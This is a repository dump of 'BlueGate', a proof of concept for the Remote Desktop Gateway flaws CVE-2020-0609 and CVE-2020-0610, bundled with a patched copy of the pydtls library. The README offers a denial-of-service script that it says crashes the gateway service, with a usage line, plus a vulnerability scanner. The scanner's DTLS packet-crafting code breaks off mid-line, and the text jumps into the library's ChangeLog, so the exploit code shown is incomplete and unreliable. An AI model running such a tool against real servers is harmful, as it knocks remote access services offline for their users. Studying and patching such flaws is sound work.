├── .gitignore ├── README.md ├── check.py ├── dos.py ├── images ├── after_dos.png └── before_dos.png └── pydtls ├── ChangeLog ├── LICENSE ├── NOTICE ├── README.md ├── dtls ├── __init__.py ├── demux │ ├── __init__.py │ ├── osnet.py │ └── router.py ├── err.py ├── openssl.py ├── patch.py ├── prebuilt │ ├── win32-x86 │ │ ├── libeay32.dll │ │ ├── manifest.pycfg │ │ └── ssleay32.dll │ └── win32-x86_64 │ │ ├── libeay32.dll │ │ ├── manifest.pycfg │ │ └── ssleay32.dll ├── sslconnection.py ├── test │ ├── __init__.py │ ├── certs │ │ ├── badcert.pem │ │ ├── badkey.pem │ │ ├── ca-cert.pem │ │ ├── ca-cert_ec.pem │ │ ├── keycert.pem │ │ ├── keycert_ec.pem │ │ ├── nullcert.pem │ │ ├── server-cert.pem │ │ ├── server-cert_ec.pem │ │ ├── wrongcert.pem │ │ └── yahoo-cert.pem │ ├── echo_seq.py │ ├── makecerts │ ├── makecerts_ec.bat │ ├── openssl_ca.cnf │ ├── openssl_server.cnf │ ├── rl.py │ ├── simple_client.py │ ├── test_perf.py │ ├── unit.py │ └── unit_wrapper.py ├── tlock.py ├── util.py ├── wrapper.py └── x509.py └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[co] 2 | 3 | # Packages 4 | *.egg 5 | *.egg-info 6 | dist 7 | build 8 | eggs 9 | parts 10 | bin 11 | var 12 | sdist 13 | develop-eggs 14 | .installed.cfg 15 | 16 | # Installer logs 17 | pip-log.txt 18 | 19 | # Unit test / coverage reports 20 | .coverage 21 | .tox 22 | 23 | # Translations 24 | *.mo 25 | 26 | # Mr Developer 27 | .mr.developer.cfg 28 | 29 | # Emacs temp files 30 | *~ 31 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BlueGate 2 | PoC for the Remote Desktop Gateway vulnerability - CVE-2020-0609 & CVE-2020-0610. Thanks to [ollypwn](https://twitter.com/ollypwn) for pointing out my silly mistake! 3 | 4 | ## Setup 5 | I'm using a patched version of `pydtls` as the original repository wouldn't build properly. 6 | ``` 7 | cd pydtls 8 | sudo python setup.py install 9 | ``` 10 | 11 | ## Denial of Service 12 | A PoC for the DoS attack can be found in [dos.py](https://github.com/ioncodes/BlueGate/blob/master/dos.py). This essentially crashes the Remote Desktop Gateway service. The initial PoC can be found in the commits or [here](https://github.com/ioncodes/BlueGate/blob/91ad3951c0db0944a5f8ade8c4af1ae6bd69836e/dos.py). 13 | 14 | ### Usage 15 | ``` 16 | python dos.py 192.168.8.133 3391 17 | ``` 18 | 19 | ### Result 20 | Before: 21 | ![before](https://github.com/ioncodes/BlueGate/blob/master/images/before_dos.png?raw=true) 22 | 23 | After: 24 | ![after](https://github.com/ioncodes/BlueGate/blob/master/images/after_dos.png?raw=true) 25 | 26 | 27 | ## Scanner 28 | A scanner that is able to determin whether the target is vulnerable or not. The script can be found in [check.py](https://github.com/ioncodes/BlueGate/blob/master/check.py). The timeout is set to 3 seconds by default but can be adjusted in the source code. 29 | 30 | ### Usage 31 | ``` 32 | python check.py 192.168.8.134 3391 33 | ``` 34 | 35 | ### Result 36 | It says either `Vulnerable!` or `Not vulnerable!`. -------------------------------------------------------------------------------- /check.py: -------------------------------------------------------------------------------- 1 | import ssl 2 | import struct 3 | import sys 4 | from signal import signal, alarm, SIGALRM 5 | from socket import socket, AF_INET, SOCK_DGRAM 6 | from dtls import do_patch, sslconnection 7 | 8 | def open_socket(host, port): 9 | sock = ssl.wrap_socket(socket(AF_INET, SOCK_DGRAM)) 10 | setattr(sock, "ssl_version", sslconnection.PROTOCOL_DTLSv1) 11 | sock.connect((host, port)) 12 | return sock 13 | 14 | def create_packet(fragment, packet_id, fragment_id, number_of_fragments, fragment_length): 15 | _buffer = struct.pack(" 2 | 3 | Release 1.2.3 4 | 5 | * dtls/wrapper.py: Add optional parameter to DtlsSocket: client_timeout (seconds). If client_timeout is specified, clients that have not communicated within the time frame will be dropped. 6 | * setup.py: Version incremented to 1.2.3 7 | * dtls/__init__.py: Increment version 8 | 9 | 2017-04-10 Ray Brown 10 | 11 | Release 1.2.2 12 | 13 | Produce a Pure Python Wheel instead of a source distribution for Linux. This speeds up installation and simplifies distribution building. 14 | 15 | * setup.py: Drop support for sdist; add support for bdist_wheel without --plat-name switch; persist README.rst; increment version 16 | * dtls/__init__.py: Increment version 17 | 18 | 2017-04-06 Ray Brown 19 | 20 | Installation Fixes and Improvements 21 | 22 | Installation as well as distribution generation are now simplified. With the elimination of MinGW support there is now a unique set of platform binaries for 32-bit and 64-bit Windows. Pip will now automatically choose the proper binary wheel or the source distribution, depending under which platform and Python version it is being invoked. 23 | 24 | * README.md: add installation section 25 | * setup.py: rewrite to use bdist_wheel for Windows 26 | 27 | 2017-04-03 Ray Brown 28 | 29 | Release 1.2.0 30 | 31 | * README.md: Release updates 32 | 33 | 2017-04-02 Ray Brown 34 | 35 | Release 1.2.0 Preparation 36 | 37 | * README.txt -> README.md: renamed 38 | * dtls/sslconnection.py: Reduce the default MTU in effect while handshaking to 576, suitable for various path MTUs and PPPoE 39 | * dtls/prebuilt/win32-x86[_64]: Rebuilt with Visual C++ 2008 to eliminate requirement to install a C++ redistributable package 40 | * dtls/prebuilt/mingw-x86: mingw support is deprecated 41 | * dtls/__init__.py: VERSION introduced 42 | * setup.py: Version incremented to 1.2.0 43 | 44 | 2017-03-28 Björn Freise 45 | 46 | Workaround for Windows concerning the MTU size 47 | 48 | * dtls/sslconnection.py: Hardcoded setting of the MTU size only for Windows and in case it is not already configured 49 | * dtls/test/unit_wrapper.py: No user config of the MTU size; using the hardcoded one from SSLConnection 50 | 51 | 2017-03-28 Björn Freise 52 | 53 | Minor fixes and "hopefully" compatible to Ubuntu 16.04 54 | 55 | * dtls/__init__.py: Removed wrapper import 56 | * dtls/openssl.py: Fixed line endings to LF 57 | * dtls/patch.py: Removed PROTOCOL_SSLv3 import and fixed line endings to LF 58 | * dtls/sslconnection.py: Fixed line endings to LF 59 | * dtls/test/certs/*_ec.pem: Fixed line endings to LF 60 | * dtls/test/echo_seq.py: Fixed line endings to LF 61 | * dtls/test/simple_client.py: Fixed line endings to LF 62 | * dtls/test/unit.py: Fixed line endings to LF 63 | * dtls/test/unit_wrapper.py: Corrected wrapper import and fixed line endings to LF 64 | * dtls/util.py: Fixed line endings to LF 65 | * dtls/wrapper.py: Corrected function naming to wrap_client() and wrap_server(); Fixed line endings to LF 66 | * dtls/x509.py: Fixed line endings to LF 67 | 68 | 2017-03-23 Björn Freise 69 | 70 | Patched ssl-Module with SSL_BUILD_*- and ERR_*- constants and added aliases for wrap_server() and wrap_client() 71 | 72 | * dtls/__init__.py: Added DtlsSocket() from wrapper and aliases for wrap_server() and wrap_client() 73 | * dtls/err.py: Added patch_ssl_errors() to patch ssl-Module with ERR_* constants 74 | * dtls/patch.py: Patched ssl-Module with SSL_BUILD_* constants and added call to patch_ssl_errors() 75 | * dtls/wrapper.py: 76 | - Added a server and client function to alias/wrap DtlsSocket() creation 77 | - Cleanup of DtlsSocket.__init__() 78 | - Cleanup of exception handling in all member methods 79 | - Cleanup sendto() from client: no endless loop and first do a connect if not already connected 80 | * dtls/test/unit_wrapper.py: Adopt the changes made described above 81 | 82 | 2017-03-17 Björn Freise 83 | 84 | Added a wrapper for a DTLS-Socket either as client or server - including unit tests 85 | 86 | * dtls/__init__.py: Import SSLContext() and SSL() for external use 87 | * dtls/wrapper.py: Added class DtlsSocket() to be used as client or server 88 | * dtls/test/unit_wrapper.py: unit test for DtlsSocket() 89 | 90 | 2017-03-17 Björn Freise 91 | 92 | Added more on error evaluation and a method to get the peer certificate chain 93 | 94 | * dtls/__init__.py: import error codes from err.py as error_codes for external access 95 | * dtls/err.py: Added errors for ERR_WRONG_SSL_VERSION, ERR_CERTIFICATE_VERIFY_FAILED, ERR_NO_SHARED_CIPHER and ERR_SSL_HANDSHAKE_FAILURE 96 | * dtls/openssl.py: 97 | - Added constant SSL_BUILD_CHAIN_FLAG_NONE for SSL_CTX_build_cert_chain() 98 | - Added method SSL_get_peer_cert_chain() 99 | * dtls/patch.py: Added getpeercertchain() as method to ssl.SSLSocket() 100 | * dtls/sslconnection.py: 101 | - Bugfix SSLContext.set_ecdh_curve() returns 1 for success and 0 for failure 102 | - SSLContext.build_cert_chain() changed default flags to SSL_BUILD_CHAIN_FLAG_NONE 103 | - In SSLConnection() the mtu size gets only set if no user config function is given 104 | - SSLConnection.listen() raises an exception for ERR_WRONG_VERSION_NUMBER, ERR_COOKIE_MISMATCH, ERR_NO_SHARED_CIPHER and all other unknown errors 105 | - SSLConnection.read() and write() now can also raise ERR_PORT_UNREACHABLE 106 | - If SSLConnection.write() successfully writes bytes to the peer, then the handshake is assumed to be okay 107 | - Added method SSLConnection.getpeercertchain() 108 | * dtls/test/unit.py: ThreadedEchoServer() with an extra exception branch for the newly raised exceptions in SSLConnection.listen() 109 | 110 | 2017-03-17 Björn Freise 111 | 112 | Added certificate creation using ECDSA 113 | 114 | * dtls/test/makecerts_ec.bat: creates ca-cert_ec.pem, keycert_ec.pem and server-cert_ec.pem 115 | * dtls/test/openssl_ca.cnf and openssl_server.cnf: Added HOME to be able to use the conf file under windows 116 | 117 | 2017-03-17 Björn Freise 118 | 119 | Added an interface in SSLConnection() to access SSLContext() and SSL() for manipulating settings during creation 120 | 121 | * dtls/openssl.py: 122 | - Added utility functions EC_curve_nist2nid() and EC_curve_nid2nist() 123 | * dtls/patch.py: 124 | - Extended wrap_socket() arguments with callbacks for user config functions of ssl context and ssl session values 125 | - Extended SSLSocket() arguments with callbacks for user config functions of ssl context and ssl session values 126 | * dtls/sslconnection.py: 127 | - Extended SSLConnection() arguments with callbacks for user config functions of ssl context and ssl session values 128 | - During the init of client and server the corresponding user config functions are called (if given) 129 | - Added new classes SSLContext() [set_ciphers(), set_sigalgs(), set_curves(), set_ecdh_curve(), build_cert_chain(), 130 | set_ssl_logging()] and SSL() [set_mtu(), set_link_mtu()] 131 | 132 | 2017-03-17 Björn Freise 133 | 134 | Added methods getting the curves supported by the runtime openSSL lib 135 | 136 | * dtls/openssl.py: 137 | - Added class _EllipticCurve() for easy handling of the builtin curves 138 | - Added wrapper get_elliptic_curves() - which uses _EllipticCurve() 139 | - Added EC_get_builtin_curves(), EC_KEY_new_by_curve_name() and EC_KEY_free() 140 | - Added OBJ_nid2sn() for translating numeric ids to names 141 | * dtls/util.py: Added _EC_KEY() derived from _Rsrc() with own free/del method 142 | 143 | 2017-03-17 Björn Freise 144 | 145 | Added methods for setting and getting the curves used during negotiation and encryption 146 | 147 | * dtls/openssl.py: 148 | - Added SSL_CTX_set1_curves() and SSL_CTX_set1_curves_list() 149 | - Added SSL_CTX_set_ecdh_auto() and SSL_CTX_set_tmp_ecdh() 150 | - Added SSL_get1_curves(), SSL_get_shared_curve(), SSL_set1_curves() and SSL_set1_curves_list() 151 | 152 | 2017-03-17 Björn Freise 153 | 154 | Added methods for setting the signature algorithms 155 | 156 | * dtls/openssl.py: 157 | - Added SSL_CTX_set1_client_sigalgs_list(), SSL_CTX_set1_client_sigalgs(), SSL_CTX_set1_sigalgs_list() and SSL_CTX_set1_sigalgs() 158 | - Added SSL_set1_client_sigalgs_list(), SSL_set1_client_sigalgs(), SSL_set1_sigalgs_list() and SSL_set1_sigalgs() 159 | 160 | 2017-03-17 Björn Freise 161 | 162 | Added method SSL_CTX_build_cert_chain() 163 | 164 | * dtls/openssl.py: Added SSL_CTX_build_cert_chain() and corresponding constants 165 | 166 | 2017-03-17 Björn Freise 167 | 168 | Added methods *_clear_options() and *_get_options() 169 | 170 | * dtls/openssl.py: 171 | - Added SSL_CTX_clear_options() and SSL_CTX_get_options() 172 | - Added SSL_clear_options() and SSL_get_options() 173 | 174 | 2017-03-17 Björn Freise 175 | 176 | Added new methods for DTLSv1.2 177 | 178 | * dtls/err.py: Added error code ERR_WRONG_VERSION_NUMBER 179 | * dtls/openssl.py: Added DTLS_server_method(), DTLSv1_2_server_method() and DTLSv1_2_client_method() 180 | * dtls/patch.py: Default protocol DTLS for ssl.wrap_socket() and ssl.SSLSocket() 181 | * dtls/sslconnection.py: 182 | - Introduced PROTOCOL_DTLSv1_2 and PROTOCOL_DTLS (the latter one is a synonym for the "higher" version) 183 | - Updated _init_client() and _init_server() with the new protocol methods 184 | - Default protocol DTLS for SSLConnection() 185 | - Return on ERR_WRONG_VERSION_NUMBER if client and server cannot agree on protocol version 186 | * dtls/test/unit.py: 187 | - Extended test_get_server_certificate() to iterate over the different protocol combinations 188 | - Extended test_protocol_dtlsv1() to try the different protocol combinations between client and server 189 | 190 | 2017-03-17 Björn Freise 191 | 192 | Updating openSSL libs to v1.0.2l-dev 193 | 194 | * dtls/openssl.py: Added mtu-functions SSL_set_mtu() and DTLS_set_link_mtu() 195 | * dtls/prebuilt/win32-*: Updated libs for x86 and x86_64 to version 1.0.2l-dev 196 | * dtls/sslconnection.py: mtu size set hardcoded to 1500 - otherwise the windows implementation has problems 197 | 198 | 2017-03-17 Björn Freise 199 | 200 | Added interface for SSL_CTX_set_info_callback() 201 | 202 | * dtls/openssl.py: 203 | - Added methods SSL_CTX_set_info_callback(), SSL_state_string_long(), SSL_alert_type_string_long() and SSL_alert_desc_string_long() 204 | - Added constants for state and error evaluation during callback 205 | * dtls/sslconnection.py: Added _ssl_logging_cb() as default callback function - only outputs messages when logger is active 206 | 207 | 2017-03-17 Björn Freise 208 | 209 | SSL_write() extended to handle ctypes.Array as data 210 | 211 | * dtls/openssl.py: SSL_write() can handle ctypes.Array data 212 | * dtls/sslconnection.py: Added missing import ERR_BOTH_KEY_CERT_FILES 213 | * dtls/test/simple_client.py: Added basic test client to use with dtls/test/echo_seq.py 214 | 215 | 2017-03-17 Björn Freise 216 | 217 | Beautified lists and maps, grouped imports for easy merges in the future - no changed functionality! 218 | 219 | * dtls/openssl.py: 220 | - Ordered constants according to header file from openSSL 221 | - Beautified __all__-list and map for _make_function() in order to easy merges in the future 222 | - Added a few returns in order to evaluate the success of the called methods 223 | * dtls/patch.py: Grouped imports in the following order - system, local 224 | * dtls/sslconnection.py: ssl protocol not hardcoded anymore for forked objects 225 | * dtls/x509.py: logger messages working again 226 | 227 | 2017-02-27 Ray Brown 228 | 229 | * dtls/openssl.py: support reading directly into given buffer instead of forcing buffer copy (for ssl module compatibility) 230 | * dtls/sslconnection.py: in-situ receive support, as above 231 | * dtls/patch.py: various changes for compatibility with the ssl module of Python 2.7.12; note that the ssl module's new SSLContext is not supported 232 | * dtls/test/unit.py: changes to support the updated ssl module, including fix of deprecation warnings 233 | * setup.py: increase version to 1.0.2 234 | 235 | 2014-01-18 Ray Brown 236 | 237 | * setup.py: Increase version to 1.0.1 for release to PyPI 238 | 239 | 2014-01-18 Jayson Vantuyl 240 | 241 | * sslconnection.py: fix missing error code import 242 | 243 | 2014-01-18 Ray Brown 244 | 245 | * setup.py: First stable version, 1.0.0 246 | * dtls/test/makecerts: Generate valid and current certificates for 247 | unit test suite 248 | * dtls/test/openssl_ca.cnf: Configuration file for CA certificate 249 | * dtls/test/openssl_server.cnf: Configuration file for server 250 | certificate 251 | * dtls/test/certs/ca-cert.pem: updated certificate, valid for 10 years 252 | * dtls/test/certs/server-cert.pem: updated certificate, valid for 253 | 10 years 254 | * dtls/test/certs/keycert.pem: updated server certificate from server-cert.pem, along with that certificate's private key 255 | * dtls/test/server-key.pem: deleted (it was not needed) 256 | 257 | 2012-12-31 Ray Brown 258 | 259 | * All: Version 0.1.0: initial public release 260 | -------------------------------------------------------------------------------- /pydtls/LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | -------------------------------------------------------------------------------- /pydtls/NOTICE: -------------------------------------------------------------------------------- 1 | 2 | Notice 3 | 4 | The copyright to this work is owned by its author, Ray Brown. You can 5 | reach the author via email: code@liquibits.com. Project source is 6 | maintained at https://github.com/rbit/pydtls. 7 | 8 | See the file LICENSE for the terms and conditions under which this work 9 | is licensed to you. 10 | 11 | See the file README.txt for usage and technical information. 12 | 13 | This product includes software developed by the OpenSSL Project 14 | for use in the OpenSSL Toolkit (http://www.openssl.org/) 15 | -------------------------------------------------------------------------------- /pydtls/README.md: -------------------------------------------------------------------------------- 1 | # Datagram Transport Layer Security for Python 2 | 3 | PyDTLS brings Datagram Transport Layer Security (DTLS - RFC 6347: 4 | http://tools.ietf.org/html/rfc6347) to the Python environment. In a 5 | nutshell, DTLS brings security (encryption, server authentication, 6 | user authentication, and message authentication) to UDP datagram 7 | payloads in a manner equivalent to what SSL/TLS does for TCP stream 8 | content. 9 | 10 | DTLS is now very easy to use in Python. If you're familiar with the 11 | ssl module in Python's standard library, you already know how. All it 12 | takes is passing a datagram/UDP socket to the *wrap_socket* function 13 | instead of a stream/TCP socket. Here's how one sets up the client side 14 | of a connection: 15 | 16 | ``` 17 | import ssl 18 | from socket import socket, AF_INET, SOCK_DGRAM 19 | from dtls import do_patch 20 | do_patch() 21 | sock = ssl.wrap_socket(socket(AF_INET, SOCK_DGRAM)) 22 | sock.connect(('foo.bar.com', 1234)) 23 | sock.send('Hi there') 24 | ``` 25 | 26 | As of version 1.2.0, PyDTLS supports DTLS version 1.2 in addition to 27 | version 1.0. This version also introduces forward secrecy using 28 | elliptic curve cryptography and more fine-grained configuration options. 29 | 30 | ## Installation 31 | 32 | To install from PyPI, on any supported platform enter: 33 | 34 | ``` 35 | pip install Dtls 36 | ``` 37 | 38 | ## Design Goals 39 | 40 | The primary design goal of PyDTLS is broad availability. It has therefore 41 | been built to be widely compatible with the following: 42 | 43 | * Operating systems: apart from the Python standard library, PyDTLS 44 | relies on the OpenSSL library only. OpenSSL is widely ported, and 45 | in fact the Python standard library's *ssl* module also uses it. 46 | * Python runtime environments: PyDTLS is a package consisting of 47 | pure Python modules only. It should therefore be portable to many 48 | interpreters and runtime environments. It interfaces with OpenSSL 49 | strictly through the standard library's *ctypes* foreign function 50 | library. 51 | * The Python standard library: the standard library's *ssl* module is 52 | Python's de facto interface to SSL/TLS. PyDTLS aims to be compatible 53 | with the full public interface presented by this module. The ssl 54 | module ought to behave identically with respect to all of its 55 | functions and options when used in conjunction with PyDTLS and 56 | datagram sockets as when used without PyDTLS and stream sockets. 57 | * Connection-based protocols: as outlined below, layering security 58 | on top of datagram sockets requires introducing certain 59 | connection constructs normally absent from datagram 60 | sockets. These constructs have been added in such a way as to be 61 | compatible with code that expects to interoperate with 62 | connection-oriented stream sockets. For example, code that 63 | expects to go through server-side bind/listen/accept connection 64 | establishment should be reusable with PyDTLS sockets. 65 | 66 | ## Distributions 67 | 68 | PyDTLS requires version 1.0.0 or higher of the OpenSSL 69 | library. Earlier versions are reported not to offer stable DTLS 70 | support. Since packaged distributions of this version of OpenSSL are 71 | available for many popular operating systems, OpenSSL-1.0.0 is an 72 | installation requirement before PyDTLS functionality can be called. 73 | On Ubuntu 12.04 LTS, for example, the Python interpreter links with 74 | libcrypto.so.1.0.0 and libssl.so.1.0.0, and so use of PyDTLS requires 75 | no further installation steps. 76 | 77 | In comparison, installation of OpenSSL on Microsoft Windows operating 78 | systems is inconvenient. For this reason, source distributions of 79 | PyDTLS are available that include OpenSSL dll's for 32-bit and 64-bit 80 | Windows. All dll's have been linked with the Visual Studio 2008 81 | version of the Microsoft C runtime library, msvcr90.dll, the version 82 | used by CPython 2.7. Installation of Microsoft redistributable runtime 83 | packages should therefore not be required on machines with CPython 84 | 2.7. The version of OpenSSL distributed with PyDTLS 0.1.0 is 1.0.1c. 85 | The version distributed with PyDTLS 1.2.0 is commit 86 | 248cf959672041f38f4d80a4a09ee01d8ab04fe8 (branch OpenSSL_1_0_2-stable, 87 | 1.0.2l-dev, containing a desirable fix to DTLSv1_listen not present 88 | in 1.0.2k, the stable version at the time of PyDTLS 1.2.0 release). 89 | 90 | The OpenSSL version used by PyDTLS can be determined from the values 91 | of *sslconnection's* DTLS_OPENSSL_VERSION_NUMBER, 92 | DTLS_OPENSSL_VERSION, and DTLS_OPENSSL_VERSION_INFO. These variables 93 | are available through the *ssl* module also if *do_patch* has been 94 | called (see below). Note that the OpenSSL version used by PyDTLS may 95 | differ from the one used by the *ssl* module. 96 | 97 | ## Interfaces 98 | 99 | PyDTLS' top-level package, *dtls*, provides DTLS support through the 100 | **SSLConnection** class of its *sslconnection* 101 | module. **SSLConnection** is in-line documented, and 102 | dtls/test/echo_seq.py demonstrates how to take a simple echo server 103 | through a listen/accept/echo/shutdown sequence using this class. The 104 | corresponding client side can look like the snippet at the top of this 105 | document, followed by a call to the *unwrap* method for shutdown (or a 106 | call to the **SSLConnection** *shutdown* method, if an instance of 107 | this class is used for the client side also). Note that the *dtls* 108 | package does not depend on the standard library's *ssl* module, and 109 | **SSLConnection** can therefore be used in environments where *ssl* is 110 | unavailable or incompatible. 111 | 112 | It is expected that with the *ssl* module being an established, familiar 113 | interface to TLS, it will be the preferred module through which to 114 | access DTLS. To do so, one must call the *dtls* package's *do_patch* 115 | function before passing sockets of type SOCK_DGRAM to either *ssl's* 116 | *wrap_socket* function, or *ssl's* **SSLSocket** constructor. 117 | 118 | It should be noted that once *do_patch* is called, *dtls* will raise 119 | exceptions of type **ssl.SSLError** instead of its default 120 | **dtls.err.SSLError**. This allows users' error handling code paths to 121 | remain identical when interfacing with *ssl* across stream and 122 | datagram sockets. 123 | 124 | ## Connection Handling 125 | 126 | The DTLS protocol implies a connection as an association between two 127 | network peers where the overall association state is characterized by the 128 | handshake status of each peer endpoint (see RFC 6347). The OpenSSL library 129 | records this handshake status in "SSL" type instances (a.k.a. struct 130 | ssl_st). Datagrams can be securely sent and received by referring to a 131 | unique "SSL" instance after handshaking has been completed with this 132 | instance and its network peer. A connection is implied in that traffic 133 | may be directed to or received from only that network peer with whose 134 | "SSL" instance the handshake has been completed. The fact that the 135 | underlying network protocol, UDP in most cases, is itself connectionless 136 | is immaterial. 137 | 138 | Further, in order to prevent denial-of-service attacks on UDP DTLS 139 | servers, clients must undergo a cookie exchange phase early in the 140 | handshaking protocol, and before server-side resources are committed to 141 | a particular client (see section 4.2.1 of RFC 6347). The cookie exchange 142 | proves to the server that a client can indeed receive IP traffic at 143 | the source IP address with which its handshake-initiating ClientHello 144 | datagram is marked. 145 | 146 | PyDTLS implements this connection establishment through the *connect* 147 | method on the client side, and the *accept* method on the server side. 148 | The latter returns a new **dtls.SSLConnection** or **ssl.SSLSocket** 149 | object (depending on which interface is used, see above), which is 150 | "connected" to its peer. In addition to the *read* and *write* methods 151 | (at both interface levels), **SSLSocket's** *send* and *recv* methods 152 | can be used; use of *sendto* and *recvfrom* on connected sockets is 153 | prohibited by *ssl*. *accept* returns peer address information, as 154 | expected. Note that when using the *ssl* interface to *dtls*, *listen* 155 | must be called before calling *accept*. 156 | 157 | ## 